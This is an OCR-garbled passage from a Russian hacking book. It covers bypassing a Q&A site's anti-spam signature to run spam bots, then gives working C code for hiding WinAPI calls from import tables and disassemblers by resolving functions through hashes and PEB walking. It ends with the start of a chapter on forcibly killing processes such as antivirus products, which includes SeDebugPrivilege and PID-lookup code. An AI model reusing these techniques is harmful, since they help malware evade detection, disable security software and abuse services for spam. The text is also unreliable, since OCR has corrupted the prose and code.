) 7928 (" -«mk snge_inp_pwd"}.vaL(}. 1
), 8.8jax({type
“sask_txt_aren*).

sl"m‘ck_;ngp .er_pwd” ), children(“, form_e
onfirm/ resend", dataTy, an®, ¢
,ugmam anke,t)},

sy google-staiytics.com

Puc. 3.9. Onpesenenve hyHKUUN, reHepUpytoLLei 3HaYeHue sig

Cama ¢ynkuus hash_ask() ommcana B ckpunte secure.min_2015_06_26.js (https:/
st.sprashivai.ru/8/4839e425118f/secure.min_2015_06_26.js) 1 BbIrISIUT ClEIyOIIAM
obpazom:
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function hash ask(r,e){

var t="20889rz3A5K30hxi8cazk7UcJY8623tBNGMLW4IR" +

& *F= I F

"HDM808Lt8g647v1GhDtbCRhvxBkJyNkmjn8574zT" ;

return secr(t)
}
C noMoIIbIO OTJIAZIOYHBIX CPeICTB, BCTpoeHHBIX B Firefox, MHe ynanock y3HaTh, 4TO Ma-
pametp r ¢ynkuuu hash_ask pasen 3nauenuro nepeMeHHoi hash, koropas nepenaercs
B 3aIIpOCe M COAEPIKUTCS B KOJE CTPAHMLIBI, a € — UMEHH I0J1b30BaTeIs, KOTOPOMY 3a/1a-
€TCs BOTpOC.

[IpoGieMa B TOM, YTO HaM HY)XHO HAaWTHM 3HaueHWe, KOTOPOE BO3BpamlaeT (GyHKUMs
secr(). Ee onpejienieHre OTCyTCTBYET U B 3TOM (aiiie, U BO BCeX ocTanbHbIX. TYT 4 co-
BEPLIKIT TIPOMAIIIKY, KOTOpasi CTOW/Ia MHE JIMUIHUX TpyaoB. B secure.min_2015_06_26.js
COJIEPIKUTCS KAKOW-TO CKPbITBI 00dyCKalMei KO/, ¥ 1 PEIMI €ro OTJIaauTh U 1eoddyc-
uupoBath. CriycTsi HECKOJIBKO 4acoB KpomoTinBoi pabotel ¢ Rhino s obHapyxwun, yro
3TOT KOJI, Mo ¢yTH, cunuTaeT SHA-256 OT BXOAHOH CTPOKH.

Ha camom neste 310 He Hy»HO. Ecnn nporHarte 3HaveHue sid yepes hashid, o mbi y3Ha-
€M, UTO 3TO 256-OMTHBIH Xelll OT HeKoU cTpokH (puc. 3.10).

[german@vmil7494 ~1$ hashid f9f98ecbd474bbdd1663308b286 24dc40@2565dcédechbsc32c2
4b928fe97a88

Analyzing 'f9f98ec6d474bbdd166336b2808aB524d 5dcédec 32¢24b928

{+] Snefru-256

[+] SHA-256

[+] RIPEMD-256

[+] Haval-256

[+] GOST R 34.11-94

[+] GOST CryptoPro S-Box
[+] SHA3-2

[+1] Skein

[+] Skein-512(256)

Puc. 3.10. Onpeaenexune 3Ha4yeHus sid

A B KOJIe CKpHIITa MOXKHO 3aMeTUTh OTChUIKUM K SHA-224, yto, BUAMMO, yKa3bIBaeT Ha
JITOPUTM XelrpoBaHus. [IpoBepka 3TOH TeOpUH COKOHOMUIIA Obl MHE YIMy BpEMEHH U
HepBOB. Takke MHE yJoalloch HAaryrJIMTh HECKOJIBKO CTPaHUI] C 3THUM K€ KOJOM Ha pas-
HBIX opymax. He uckItOYeHO, 4TO 3TO 3aHATHE MPHBENO Obl K HY)KHOMY pe3yJIbTaTy
elle cKopee.

Ho BepHeMmcs K pellieHHIO M3HAYaJIbHOro Bompoca. YUToObl creHepupoBaTh 3Ha4YEHHE
napameTpa sig, HaM HyKHO B3sTh cTpoKy hash W3 kozna cTpaHuULBI, UM MOJNB30BATENS U
elle HeCKOJIbKO cTpok u chopmupoBath xemwr SHA-256 ot storo 3Havenus. [loutn tpu
roja Haszaz s JOJIOXKHII co3latessM cepuca Sprashivai.ru, 4to Takas 3amura Kak Mu-
HUMYM He paboraeT, ¥ co3zan penosutopuii Ha GitHub ¢ komom, koTopblii mo3Bosser
aBTOMAaTHYECKH 3a/1aBaTh BOMPOCHI KOHKPETHOMY I0JIb30BaTENI0. YBEPEH, UTO 3TOT KOJ
MO3BOJIMT JKEMAIOLMM pa3o0paTbcs B TeME B TOM Cllyyae, €C/IM s YTO-TO HEMOHATHO
onucan. Haiitu ero moxHo mo agnpecy: https://github.com/german-namestnikov/
sprashivai.ru_antispam_bypass/.
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BbiBOAbI

Kak mbl1 yOeaunuch, aHOHMMHbBIE CEPBUCHI BOMIPOCOB M OTBETOB MOKHO Oe3 mpobiiem uc-
MOJIb30BaTh /Ul ynpasieHus BpeAoHOCHbIM copTom. Y Ask.fm HeT HUKaKOH 3aLMTBI OT
3TOro, a Sprashivai.ru B kauecTBe 3aUIMThI KCIIOJIb3YET HEKOPPEKTHYIO MeToauky. Ha-
BEPHsKA MHOTHE JIpyrie aHOHUMHbBIE CEPBUCHI TOXKE MOJOUIYT U1 ATHX LieJIeH.

Tem He MeHee, y TakKOro MeTo/1a ecTh psijl CYLIECTBEHHBIX HEA0CTaTKOB. Bo-nepBbIx, npu
nepeziaue JaHHbIX OT 60Ta K CEpBHCY HY)KHO KaK-TO KOJAMPOBAaTh MepeaaBacMble JaHHbIE
A1 TOro, ytoObl W3dexaTh NUIIHKUX NOA03peHUui. Bo-BTOpPBIX, CTHUXHUIHOE BO3pacTaHHUe
KOJIMYECTBA MOCETUTENIEH HEKOTOPBIX aKKAYHTOB TaKKe MOXKET MpHBJIeUb K cebe BHUMa-
HHE aJIMMHUCTPALMHU pecypcoB. Kak CHU3NTB 3TH PUCKH — KasK/Iblil peIaeT caM.
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4. O6cpycumupyem BbizoBbl WInAPI
MU u3yyaem cnocoodbl NPUHYAUTENbHOro
3aBepueHus npoueccoB B Windows

Nik Zerof

OOpa3iupl cepbe3HOW MajiBapy M BbIMOrateseil 4acTo coep)KaT MHTEPECHbIE METOAUKH
3apakKeHHUs, CKPBITUS aKTHUBHOCTH M HECTaHAApPTHBIE OTJIaJO4YHblE MpUeMbl. B Bupycax
tuna Potato wnu BeiMoratensx Bpoge SynAsk wucnosnp3yeTcs mpoctas, HO MOIIHas
TEXHUKA CKpbITUS BbI30BOB WinAPI. O6 3TOM MBI M TMOTrOBOpPHUM, a 3a0[HO HAIMIIEM
pabounii npumep ckpeiTiss WinAPI B mpunoxeHuH.

O6dyckaums BbizoBoB WinAPI

Htak, ecTh HECKOJIbKO CIIOCOOOB CKpBITHS BBI30BOB WinAPI.

1. Bupryanuzauus. BaxHblii KOX CKpBIBA€TCS BHYTPU CaMOIENBbHOM BUPTYaJbHOMU
MallHHBI.

2. Tlpeokok B Teno ¢ynkuuu WinAPI nocne ee mponora. [l 3Toro HyxeH ausaccemo-
Jep IUTUH UHCTPYKLHH.

3. BbI30B pyHKLHH MO WX XELI-3HAYEHHUSIM.

Bce ocranbHble TEXHUKM — 3TO pa3Hble BapHallMM WIHM pa3BUTHE TpeX 3TuX arak. [lep-
BBIE [IBE BCTPEUAIOTCS HEYacTO — CIIMIIKOM Tpomo3zakue. Kak MHUHUMYM MpPUXOAMTCS
BCIOAY TackaTh ¢ co00# qu3acceMOep AMHH U TIPOJIOTH (QYHKLMM, paCCUMTAHHBIE HA JIBE
pa3Hble apXUTEKTYpbl. BbI30B QyHKUHMI MO Xelm-MMEHaM MPOCT W 4acTO HMCIOJIb3yeTCs
B OoJiee-MeHee BUIHOW MasiBapH ([axke KMOEepIIUOHCKOMN).

Hama 3ajgaya — Hanmucath J€rkKo MacIuTaOMpyeMblid MOTOp Ul peai3alié CKPbITHS
BbI30BOB WinAPI. OHM He 10/KHBI YHTaThCs B TabJIKLIE UMIIOPTA U HE TO/DKHBI OpocaTh-
cs B rnasza B qusaccemOnepe. JlaBail HamuieM KOPOTKYIO Mporpammy 11 SKCTepUMEH-
TOB ¥ OTKOMIUIIUPYEM ee a5 X64.

#include <Windows.h>

int main() {
HANDLE hFile = CreateFileA("C:\\test\\text.txt",
GENERIC READ,
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FILE SHARE READ,
NULL,
OPEN_EXISTING,
FILE ATTRIBUTE NORMAL,
NULL) ;
Sleep(5000) ;
return 0;
}
Kak Buguuib, 3meck ucnonb3ytorces ae ¢yHkund WinAPl — CreateFileA u Sleep.
Oynkuuio CreateFileA s pemun npuBecTH B KauecTBe NpuUMepa He CIy4alHO — IO €€
apryMeHTy "C:\\test\\text.txt" MbI ee JIETKO U HaiiieM B yxe 00dycLUpOBaHHOM BHUJIE.

JlaBaii riasHeM Ha Qu3acceMOIMPOBAHHBIM KO 3TOTO MPHIOKEHUs. YTOOBI JIMCTHHI Ha
ASM O6bin BbIpa3uTeIbHEE, NPOrpaMMy HEOOXOAWMO OTKOMIHIMPOBATh, U30aBHUBIIKCH
OT BCero JHuIHero B komae. OTKaKeMCsi OT HEKOTOPBIX MPOBEPOK Ge30macHOCTH U 6u6-
avoteku CRT. JIng onTUMHU3aLUM MPUIOKEHUS HEOOXOAMMO BBIMOIHUTE CIIELYIOLIME
HAaCTPONKH KOMITUISATOpA:

O npennouuraTh KpaTtkocThb koaa (/Os);
OTKJIFOUUTH MPOBEpKY Oe3omacHocTH (/Gs-);

OTKJIFOYHUTD OTJIaJ0OYHYHO PIH(bOpMaHI/IlO;

Qaag

B HaCTpOi/'IKaX KOMITIOHOBIIMKA OTKJIKOYUTHL BHECCHUEC cnyqaﬁﬂocm B 6&303[31[71 aIIpCC
(/DYNAMICBASE:NO);

BKJTIOUYMTH DUKCHpoBaHHbBIH 6a30Bbii anpec (/FIXED);

0003HaYUTh CAaMOCTOSITENILHO TOYKY BXO/a (B HAallleM ClIy4ae 3TO main);
UTHOPUpPOBaTh Bee cTanaaptHele 6ubauorexku (/NODEFAULTLIB);
otkazarecs oT MaHupecta (/MANIFEST:NO).

DTH [eCTBHS MOMOTYT YMEHBIINTh pa3Mep MpOrpaMMbl U W30aBUTb €€ OT BCTABOK He-
ABHOTO Koaa. B MoeMm cityyae nosmyumnace nporpamma pasmepom 3 K6aiita. Hiwke — ee
TIOJTHBIN JINCTHHT:

aaoaaq

public start
start proc near

dwCreationDisposition= dword ptr -28h
dwFlagsAndAttributes= dword ptr -20h
var_18= gword ptr -18h

sub rsp, 48h
and [rsp+48h+var 18], O

lea rcx, FileName : "Ci\\test\\text.txt"

xor r9d, rod ; lpSecurityAttributes

mov [rsp+48h+dwFlagsAndAttributes], 80h ; dwFlagsAndAttributes
mov edx, 80000000h ; dwDesiredAccess

mov [rsp+48h+dwCreationDisposition], 3 ; dwCreationDisposition
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lea r8d, [r9+1] ; dwShareMode
call cs:CreateFileA
mov ecx, 1388h ; dwMilliseconds

call «cs:Sleep
XOor eax, eax
add rsp, 48h
retn

start endp

Kak Buauib, GyHkuun WinAPI sBHO uMTaroTcs B KOZAE M BHAHBI B Tabiulle UMIOpTa
npunoxenus (puc. 4.1).

Checkfor:paane

Puc. 4.1. MNpunoxexue B nporpamme PE-bear

Teneps naBait co3maavM MOJYJib, KOTOPBIH MOMOXET CKpPBIBATH OT JIFOOOMBITHBIX TIjia3
ucnonbs3dyeMbie HaMu GyHkuuu WinAPIL Hanumewm tabnuiy xemen GyHKIMiA:

static DWORD hash api table[] = {
0xe976c80c, // CreateFileA
0xb233edab, // Sleep

B aTom pasgene HeT cMmbicna Nnoapo6HO NPUBOAUTL anNropuUTM XELLMPOBAHUSE — UX AECATKHU,
n oHu pgocTynHbl B Cetun, gaxe B Bukuneaun. Mory nocoseToBaTh anropuTMbl, C BO3MOX-
HOCTbIO BbICTABMEHUSI BEKTOPa HayanbHOW MHWUmanusauvm (seed), 4Tobbl xewwm yHKUUIA
BNy yHUkaneHeiMu. Hanpumep, nogonaeTt anroputm MurmurHash.

JlaBaii ycrmoBuMcs, 4TO Hall Makpoc xemupoBaHus Oyaer umers nporotun HASH
API(name, name_len, seed), rie name — ums QyHkiMH, name_len — 1yiMHA UMEHH,
seed — BeKTOp HavyalbHOW MHULMaIM3alMU. Tak 4TO Bce 3HaueHWs Xeul-(QyHKIUi
y Te0st OyayT ApYrUMHU, HE KaK B KHHre!
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IlockonbKy MbI IOrOBOPHJIMCH THCATh JIETKO MaciITabupyeMblii MOIYJjlb, OMpeaeumcs,
yro ¢pyHKums nonydeHus WinAPI y Hac Oynet uMeTh cleyromuil BU:

LPVOID get api (DWORD api_hash, LPCSTR module);

Ho 1o sToro etue Hy»HO I0MTH, a ceifyac HaNUIIeM YHUBEpCalbHYO (QYHKLMIO, KOTOpas
Oyzner pa3Oupath 3kcriopTupyemble ¢yHkuuu WinAPI nepegaBaemol B Hee CHCTEMHOM
6ubnmoreku:

LPVOID parse export table (HMODULE module, DWORD api hash) {

PIMAGE DOS HEADER img_dos_header;

PIMAGE NT HEADERS img nt header;

PIMAGE EXPORT DIRECTORY in export;

img dos header = (PIMAGE DOS HEADER)module;

img nt header = (PIMAGE_NTEHEADERS)((DWORD_PTR)img_dos_header 4
img dos header->e 1fanew);

in export = (PIMAGE EXPORT DIRECTORY) ( (DWORD_ PTR)img dos_header +
img nt header->OptionalHeader.DataDirectory[IMAGE DIRECTORY_ ENTRY

EXPORT] .VirtualAddress) ;

o xony HanucaHus 3Tol GyHKLUUH 5 OyAy MOSCHATDb, YTO K Y€MY, MIOTOMY YTO IyTeule-
cTBHe 10 3aronoBky PE-daiina — neno Henpoctoe (y AuHaMuueckoit 6ubnnorexu Oyner
WMEHHO TaKOH 3aron0301<). CHayasia Mbl OOBSBHIH MCIIOJIb3YEMBIC TIEPEMEHHBIE, C OTHM
HE TOJDKHO OBLIO BO3HHUKHYTb l'lpO6IlCM. Hanee, B HepBOﬁ CTPOYKE KOJa, Mbl I0J1y4aeM
U3 nepenanHoro B Hamy ¢yHkuuio moayast DLL ee IMAGE_DOS_HEADER. Bor ero
CTpYyKTYypa:
typedef struct IMAGE DOS HEADER {

WORD e magic;

WORD e cblp;

WORD e cp;

WORD e crlc;

WORD e cparhdr;

WORD e minalloc;

WORD e maxalloc;

WORD e ss;

WORD e sp;

WORD e_csum;

WORD e ip;

WORD e cs;

WORD e lfarlc;

WORD e ovno;

WORD e res([4];

WORD e oemid;

WORD e oeminfo;

WORD e res2[10];

LONG e 1fanew;
} IMAGE DOS HEADER, *PIMAGE DOS HEADER;
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3neck Hac uHTepecyer noje e_lfanew — sto RVA (Relative Virtual Address, cmerne-
Hue) 1o 3aronoska IMAGE_NT_HEADERS, koTopbli, B CBOIO Ouepe/lb, UMEET TaKyiO
CTPYKTYypY:
typedef struct _IMAGE NT HEADERS ({

DWORD Signature;

IMAGE_FILE HEADER FileHeader;

IMAGE OPTIONAL HEADER32 OptionalHeader;
} IMAGE NT HEADERS32, *PIMAGE NT HEADERS32;

HyxHoe nam mone OptionalHeader ykasbiBaeT Ha elle OAHY CTPYKTYpY —
IMAGE_OPTIONAL_HEADER. OHa rpomo3akasi, U 51 €6 COKpaTHJ 10 HY>KHBIX HaM
noJjiei, Tounee 10 syeMeHTa DataDirectory, kotopslii cogepxut 16 noneid. HyxHoe Ham
none HazbiBaeTcs IMAGE _DIRECTORY_ENTRY_EXPORT. OHo onucbiBaeT cum-
BOJIbI 3KCTIOpTa, a noJie VirtualAddress yka3piBaeT cMeILEHHE CEKLIMH SKCIIOpTa:

typedef struct IMAGE OPTIONAL HEADER {

IMAGE DATA DIRECTORY DataDirectory[IMAGE NUMBEROF DIRECTORY ENTRIES];
} IMAGE OPTIONAL HEADER32, *PIMAGE OPTIONAL HEADER32;

Urak, mbl B cexuuu 3kcnopra, B IMAGE_EXPORT_DIRECTORY. Ilponomxkaem ee
YUTATh:

PDWORD rva name;
UINT rva_ordinal;
rva name = (PDWORD) ( (DWORD_PTR)img dos header + in_export->AddressOfNames) ;

rva_ordinal = (PWORD) ((DWORD PTR)img dos_header + in export-
>AddressOfNameOrdinals) ;

YroOs! 66110 ousaTHEE, BOT cTpykrypa IMAGE_EXPORT_DIRECTORY:

typedef struct IMAGE EXPORT DIRECTORY {
DWORD Characteristics;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD Name;
DWORD Base;
DWORD NumberOfFunctions;
DWORD NumberOfNames;
DWORD AddressOfFunctions;
DWORD AddressOfNames;
DWORD AddressOfNameOrdinals;
} IMAGE EXPORT DIRECTORY, *PIMAGE EXPORT DIRECTORY;

HaxkoHen-to mMbl npo6panuch ckBo3b aeOpu 3aronoBka PE k HyxHbIM HaMm naHHbIM. Oc-
TaJIbHOE — /€10 TeXHUKH. Kak ThbI yske MOHsII Mo KOy, 3/1€Ch HaC HHTEPECYIOT [1Ba MOJIs:
AddressOfNames 1 AddressOfNameOrdinals. Ilepoe conepxut umeHa GyHKIMH,
BTOpO€ — MX MHJEKC (unuTai: Homep). CyTh JanbHEHIIMX NeHCTBUIA NPOCTa: B LIMKIIE MBI
Oynem mpocMaTpuBaTh M CBEPATh NEpeaHHbIN B Hally QYHKUMIO Xell ¢ XewaMH (yHK-
Mi B TabiuLe 3KCropTa U, Kak HalaeM COBMa/ieHHe, BBIXOIUM U3 LIMKJIA:
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UINT ord = -1;
for (i = 0; i < in_export->NumberOfNames; i++) {
api_name (PCHAR) ( (DWORD_PTR) img_dos_header + rva name[i]);
get_hash = HASH API(api name, name len, seed);
if (api_hash == get_hash) {
ord = (UINT)rva ordinal[i];
break;

}

Hamnu! Tenepb rnoJry4aem €€ a/ipeC U BO3BpalllaeM €ro:
func_addr = (PDWORD) ( (DWORD_PTR) img dos header +
in_export->AddressOfFunctions) ;
func_find = (LPVOID) ( (DWORD_PTR)img dos_header + func_addr[ord]);
return func find;

B koae oTcyTCTBYIOT NPOBEPKM KOPPEKTHOCTU 0BpabaTbiBaeMbIx ¥ NOCTynawLWmX B hyHKLMN
OaHHbIX. 3TO cAenaHo yMbILWIEHHO, YTOOb! He 3aCOPsiTh KO U HE OTBNEeKaTb YuTaTens.

OyHKUMS MOIyYWsIach BecbMa KOpPOTKas U MOHsATHas. Tenepp mepeiaeM K HalMCaHMIO
ocHOBHO# (yHKmHU. [TomHuwIb, MBI ee 0003Haunnu kak LPVOID get_api? Ona Gyzer,
1o cyTH, o0epTKoil Hax parse_export_table, Ho cenaer ee yHuBepcabHOM.

Heno B ToMm, uto Hawa ¢yHKLUMS parse_export_table ciauiikom «cbipas» — OHa mpo-
cMaTpuBaeT Tab/lMIbl UMIIOPTOB Mepe/laBaeMbIX B Hee OMOIMOTEK, HO HE YMTaeT JTH
6ubnuorekn B mamATh (eciM WX TaM Her). JIs 3TOro Mbl MCMOJb3yeM (yHKLHIO
LoadLibrary, TouHee ee XelMpOBaHHbIM BapuaHT. 3a0HO MpoBeprM paboToCrocod-
HOCTh parse_export_table.

@ynkuus sxkcnoprupyetcs 6ubnuorexoii Kernel32.dll. UroObr Hauath ¢ Hell paboTats,
MBI JOJDKHBI HAWTH 3Ty OUOIMOTEKY B aJpecHOM MPOCTPAHCTBE HALIErO MpoLiecca Yepes
PEB. 51 Gyny nucath cpasy yHHBepCaJbHbINA KO, KOTOPbIH MOJOMIET M1 00enx apxu-
TEKTYp:

LPVOID get api (DWORD api_hash, LPCSTR module) ({

HMODULE krnl32, hDl1l;
LPVOID api_func;

#ifdef WING4

int ModulelList = 0x18;

int ModuleListFlink = 0x18;

int KernelBaseAddr = 0x10;

INT_PTR peb = _ readgsqword(0x60) ;
#else

int ModuleList = 0x0C;

int ModuleListFlink = 0x10;

int KernelBaseAddr = 0x10;

INT PTR peb = _ readfsdword(0x30);
#endif
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// Tenepb nomyumMm azpec kernel32.dll

INT_PTR mod list * (INT_PTR*) (peb + ModuleList);,
INT PTR list flink = *(INT_PTR*) (mod list + ModuleListFlink);
LDR MODULE *1ldr mod = (LDR _MODULE*)list flink;

for (; list flink != (INT_PTR)1ldr mod ;) {
ldr mod = (LDR MODULE*)ldr mod->e[0].Flink;
if (!lstrcmpiW(ldr mod->dllname.Buffer, L"kernel32.dll"))
break;

krnl32 = (HMODULE)ldr mod->base;

anee Ham HeoOXoaumo oOBABUTH nportotun Hawei ¢yHkuuu LoadLibraryA. Dto
HY’KHO caienaTh B Havasie (aiina. Bor npororun:

HMODULE (WINAPI *temp LoadLibraryA) (_ in LPCSTR file name) = NULL;
HMODULE hash LoadLibraryA( in LPCSTR file name) ({
return temp LoadLibraryA(file name);

}

Kpome Toro, 06sBUM NMPOTOTUIBI HALIMX (DYHKLIMH W3 TECTOBOTO MPUIIOKEHHS, KOTOPOE
MbI [TUCAJIA B CAMOM Hauvase:

HANDLE (WINAPI *temp CreateFileA) (_ in LPCSTR file name,
__in DWORD access,
__in DWORD share,
__inopt LPSECURITY ATTRIBUTES security,
__in DWORD creation disposition,
__in DWORD flags,
__inopt HANDLE template file) = NULL;

HANDLE hash CreateFileA( in LPCSTR file name,
_in DWORD access,
_in DWORD share _mode,
__inopt LPSECURITY ATTRIBUTES security,
_in DWORD creation disposition,
__in DWORD flags,

__inopt HANDLE template file) {
temp CreateFileA = (HANDLE (WINAPI *) (LPCSTR,
DWORD,
DWORD,
LPSECURITY ATTRIBUTES,
DWORD,
DWORD,
HANDLE) ) get_api (hash _api table[0], "Kernel32.dll");

return temp CreateFileA(file name, access, share mode, security,
creation disposition, flags, template file);
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VOID (WINAPI *temp Sleep) (DWORD time) = NULL;
VOID hash Sleep( in DWORD time) {

temp Sleep = (VOID (WINAPI *) (DWORD))get api(hash api table[l],
"Kernel32.d1ll");

return temp Sleep(time);

}

[Tpototun nns LoadLibraryA — ynpoueHHslid. MblI 37€Ch He HCMOJb3yeM Haury Tab-
muny xeuied hash_api_table[], noromy urto xem LoadLibraryA wmbl 3axapakoaum
nanblie. Xem OyJaeT y KaKa0ro CBOM, B 3aBUCHMOCTH OT aJITOPUTMA XeLIMPOBAHUSL:

temp LoadLibraryA = (HMODULE (WINAPI *) (LPCSTR))parse export table(krnl32,
0x731faaebd) ;

hD11l = hash LoadLibraryA (module) ;
api_func = (LPVOID)parse export table (hDll, api hash);
return api_ func;

}

Hrak, Bce roToBo. DTOT MOTOp AJIs BbI30Ba (DYHKIIMI MO XEIly MOXKHO BbIHECTH B OT-
JenbHbIH (aiin U pacimpsTh, 100aBisis HOBbIE IPOTOTUMBI M Xewu. Teneps, nocne Bcex
MaHHITYJIALUH, K3MEHUM Halll TeCTOBBIN (haiil ¥ OTKOMITHIIHPYEM €ro:

int main() {

HANDLE hFile = hash CreateFileA ("C:\\test\\text.txt",
GENERIC READ,
FILE SHARE READ,
NULL,
OPEN_EXISTING,
FILE ATTRIBUTE NORMAL,
NULL) ;

hash Sleep(5000);

return 0;

}

IMepBoe, uto Gpocaercs B riia3za, — Hai ¢aiin padortaet! Tekcroblid dailn cosmaercs,
Mporpamma 3achilaeT Ha MaTh CEKYH/I U 3aKkpbiBaetcs. Tenepb naBait mocMOTpUM Ha Taob-
nuuy umnopra (puc. 4.2).

Msel yBuAMM TaM TONbKO GyHKUMIO IstrempiW. Tvl Benp MOMHHMLIB, YTO MBI €€ HC-
MOJIL30BaJIM JUIsl cpaBHeHMs1 cTpok? bonbiue Hukakux ¢ynkumi Het! Tenepn 3arnsHem
B nu3accembOunep (puc. 4.3).

31ech Mbl TOXKE HE BHAWM HHKAaKHUX BbI30BOB. Ecim yriayOuTbes B McciieoBaHHME MPoO-
rPaMMBl, MBI, pasyMeeTcs, OOHapy>KUM Hallu Xew, cTpoku thmna kernel32.dll u npouee.
Ho 310 npocto yueGHbI# npuMep, 1eMOHCTPUPYIOILUHA a3y, KOTOPYIO MOXHO Pa3BUBATh.

Xely MOXKHO 3alUTUTh PAa3JIMYHBIMH MaTeMaTHYECKHMMHU OIEpaLMsiMHM, a CTPOKU 3a-
wndpoath. s 3aKpernsieHus 3HaHuiA monpoOyi cKpbiTh GyHKIHIO IstrempiW no aHa-
noruu ¢ apyrumu WinAPIL. [lato noackasky: 3Ta GyHKIMS 3KCIOPTUpYeTcs OMbanoTekon
Kernel32.dll
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ITpn HanucaHuu coTa, B3aMMOAECHCTBYIOLIETO C APYTMMH MPUIIOKEHUSIMH, MOPO# BO3-
HHMKaeT HeOOXOIMMOCTb 3aBEpIINTb BBINOJIHEHHWE CTOPOHHMX TpoueccoB. ECTh HECKOIb-
KO METOJOB, KOTOPbIE MOTYT MOMOYb B 3TOM Ji€jI€: OJHHM XOpPOLIO JOKYMEHTHPOBAHBbI,
ApYTUe MbITAIOTCS 3aBEPLIMTh HYXKHbIE MpoLEecChl Oosee KECTKUMHU CriocobaMu, TpoBo-
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LMPYs ONEPAMOHHYIO CUCTEMY MPUXJIONHYTh UX CHIOH. Sl MOKaXKy HECKOJIBKO COcoO0B
3aBEpIIEHHS U paspylueHus npoueccoB B Windows.

B kauecTBe «MoOfOMBITHBIX KPOJIMKOB» Bo3bMeM Opaysep Firefox, aHTUBHpYCHBIH KOM-
miekc ESET NOD32 Smart Security u mnporpamMmy 3awmursl oT Oday-yrpos
HitmanPro.Alert, kotopsie Oyayt pa6otate B Windows 10 LTSB 1809. Bece npunosxenus
NIOCIEAHUX BEPCHUH CKayaHbl C OQULMAIBHBIX CAMTOB M TPYAATCS HAa IMOJHYK MOLI-
HOCTb — XOTb HEKOTOpbl€ U B MPOOHBIX pexxumax. PazpsaHocts kak OC, Tak U npuiio-
>keHul Oynet x64.

NMoparoroBka

PaGorats MBI Oyznem ¢ mpoueccaMud M MOTOKaMH, MMO3TOMY CHaydala HY)KHO HarMcaTh
HeoOXoauMble BecriomorartesbHbie GyHKUMH. KpoMe Toro, Ham monamodutcs dyHkums,
NOBBILIAIOLIAS HAaUIM npuBuUierdy B cucteme Ao otnanoudslx (SE_DEBUG_NAME). [lo-
Jy4aThb Mbl UX OyZeM cTaHZapTHBIM 00pa3oM, ucnonb3dys ¢pyHkiuun OpenProcessToken
u LookupPrivilegeValue.

Bo Bcex akcnepumeHTax s MCNonb3oBan CBOK COOCTBEHHYO Gubnuvoteky ans paboTbl
¢ WIinAPI no xewam nmeH API-byHKUMIA, Tak 4TO, BEPOSITHO, 3TO NOBMAUAMNO Ha B3auMoAen-
CTBME C 3alUMTHbIMU pelueHnamu. Kakum obpasom oHa Gbina HanucaHa, nogpobHo paccka-
3bIBanoCh B NpeAblayLiem pasgene.

Kon yHKUMH BRI IUT ClieayIomuM 00pa3om:

BOOL set privileges (LPCTSTR szPrivName)
{
TOKEN_PRIVILEGES token priv = { 0 };
HANDLE hToken = 0;

token priv.PrivilegeCount = 1;
token priv.Privileges([0].Attributes = SE PRIVILEGE ENABLED;

if (!OpenProcessToken (GetCurrentProcess (), TOKEN ADJUST PRIVILEGES, &hToken))
{
#ifdef DEBUG
std::cout << "OpenProcessToken error: " << GetlastError() << std::endl;
#endif
return FALSE;

if (!LookupPrivilegeValue (NULL, szPrivName, &token priv.Privileges[0].Luid))
{
#ifdef DEBUG

std::cout << "LookupPrivilegeValue error: " << GetLastError() <<
stds tendl;

#endif
CloseHandle (hToken) ;
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return FALSE;

if (!AdjustTokenPrivileges (hToken, FALSE, &token priv, sizeof (token priv),

NULL, NULL))
{
#ifdef DEBUG
std::cout << "AdjustTokenPrivileges error: " << GetLastError() <<
std: :endl;

#endif

CloseHandle (hToken) ;
return FALSE;

}
J1nst nostydeHus OT/JIaI0YHBIX MPUBUIIETUH BBI30BEM 3TY (DYHKIIMIO TAKMM 00pa3oMm:

if (set_privileges (SE_DEBUG NAME) )
printf ("SE DEBUG NAME is granted! \n");

Jlns cBoero sMuHOro ynoocrsa paboTy ¢ npoLeccaMu s pas/jeni Ha ABe GYHKLMHU: OHa
Oynet nosnyyats PID no umenu npouecca, apyras — nojy4yath XeHIUT MpoLecca 1o ero
PID. KoneuHo, MOHO Ob110 Obl cienaTh GonblIyio GYHKIUIO, KOTOpas cpa3y Obl JaBaia
XEH/J Tpolecca Mo UMEeHH, HO 3TO He Bceraa yao0HO, MOTOMY 4TO Mopoi Tpedyertcs
NpOCTO NOJAY4UTH ToNIbKO PID.

PID (process identifier) — 310 naeHTudgmkaTop npouecca, KOTOpbIN BbICTYNAET KOHTEeNHe-
poM Ansi NOToKoB. B cBol oyepeapb, y NOTOKOB TOXE €CTb NAEHTUMDUKATOP, KOTOPLIA Ha3bl-
Baetcs TID (thread identifier). 3Has PID u TID, MOXHO nony4uTb UX XeHANbI, YTOOLI NOTOM
paboTaTb C NOTOKamu 1 NpoLeccamu.

Hnentudukarop npouecca Mbl noiayyum npu nomow ¢yHkuuii CreateToolhelp32-
Snapshot (co3naauM CHUMOK aKTHBHBIX MPOLIECCOB B CUCTEMe), nanee Oynem rnepedu-
paTb M CpaBHMBaTb MpoLECCHl ¢ HYKHbIM uMeHeM, (yHkuusiMu Process32First u
Process32Next:

DWORD get pid from name (IN const char * pProcName)

{
HANDLE snapshot proc = CreateToolhelp32Snapshot (TH32CS SNAPPROCESS, O0);
if (snapshot proc == INVALID HANDLE VALUE)
{

#ifdef DEBUG

std: :cout << "CreateToolhelp32Snapshot error: " << GetlLastError() <<
std::endl;

#endif
return 0;

PROCESSENTRY32 ProcessEntry;
DWORD pid;
ProcessEntry.dwSize = sizeof (ProcessEntry) ;
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if (Process32First (snapshot proc, &ProcessEntry))

{

while (Process32Next (snapshot proc, &ProcessEntry))

{

if (!stricmp(ProcessEntry.szExeFile, pProcName))

{
pid = ProcessEntry.th32ProcessID;

CloseHandle (snapshot proc) ;
return pid;

CloseHandle (snapshot proc) ;
return 0;

Mpouecchl MOXHO NepevncnsaTe U APYrMMU METOAAMU, HaNpUMep, UCNOMb3oBaTb AN 3TOr0
dyHkumio Process Status Helper (PSAPI), K32EnumProcesses nnu HeoKyMeHTMpOBaH-
Hyto dyHkumio ZwQuerySysteminformation. Uto6bl npokayaTte cBoW ckunn pabotbl ¢ Win-
dows, Tbl MOXELLUb CAMOCTOATENBHO peann3oBaTb 3TM METOAbI U NOCMOTPETb, Kak OHU pa-
6oTatoT.

Yto6s1 nomyunts PID npouecca firefox.exe, GpyHKUMIO Ha0 BbI3BaTh TAKUM 00pa3oMm:

DWORD firefox pid = get pid from name ("firefox.exe");

